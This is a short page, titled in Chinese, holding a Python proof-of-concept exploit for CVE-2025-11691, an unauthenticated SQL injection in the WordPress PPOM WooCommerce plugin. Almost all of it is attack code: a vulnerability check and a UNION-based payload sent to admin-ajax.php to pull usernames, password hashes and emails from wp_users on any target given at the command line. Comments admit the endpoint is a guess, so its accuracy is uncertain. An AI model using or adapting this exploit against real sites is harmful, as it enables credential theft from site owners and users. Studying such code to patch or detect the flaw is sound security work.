CVE-2025-11691：WordPress PPOM插件SQL注入漏洞

# CVE-2025-11691 - PPOM WooCommerce SQL Injection PoC # Vulnerability: Unauthenticated SQL Injection via PPOM_Meta::get_fields_by_id() # Affected: PPOM Plugin <= 33.0.15 (when "Enable Legacy Price Calculations" is enabled) import requests import sys TARGET_URL = "http://target-wordpress-site.com" def exploit_sqli(target_url): """ Exploit SQL Injection in PPOM plugin's get_fields_by_id() function. The vulnerable parameter is passed via POST/GET and concatenated directly into SQL query without proper escaping or prepared statements. """ # The injection point is in the field ID parameter # Example payload using UNION-based SQL injection to extract data injection_payload = ( "1 UNION SELECT user_login,user_pass,user_email,1,1,1,1,1,1,1,1,1,1,1,1,1 " "FROM wp_users WHERE ID=1-- -" ) # Endpoint that triggers the vulnerable function # Adjust based on actual application routes exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Data parameters that trigger the vulnerable code path data = { "action": "ppom_get_fields", "ppom_id": injection_payload, } try: response = requests.post(exploit_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Response received ({len(response.text)} bytes)") # Extract sensitive data from response if "admin" in response.text or "$" in response.text: print("[+] Potential sensitive data found in response") print(response.text[:500]) return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def check_vulnerability(target_url): """Check if the target is vulnerable by testing with a benign payload.""" test_payload = "1' AND '1'='1" normal_payload = "1" exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Test with normal input r1 = requests.post(exploit_url, data={ "action": "ppom_get_fields", "ppom_id": normal_payload }) # Test with injection payload r2 = requests.post(exploit_url, data={ "action": "ppom_get_fields", "ppom_id": test_payload }) if r1.status_code == 200 and r2.status_code == 500: print("[+] Target appears to be VULNERABLE to SQL Injection") return True else: print("[-] Target does not appear to be vulnerable") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Testing target: {TARGET_URL}") if check_vulnerability(TARGET_URL): print("[*] Attempting exploitation...") exploit_sqli(TARGET_URL)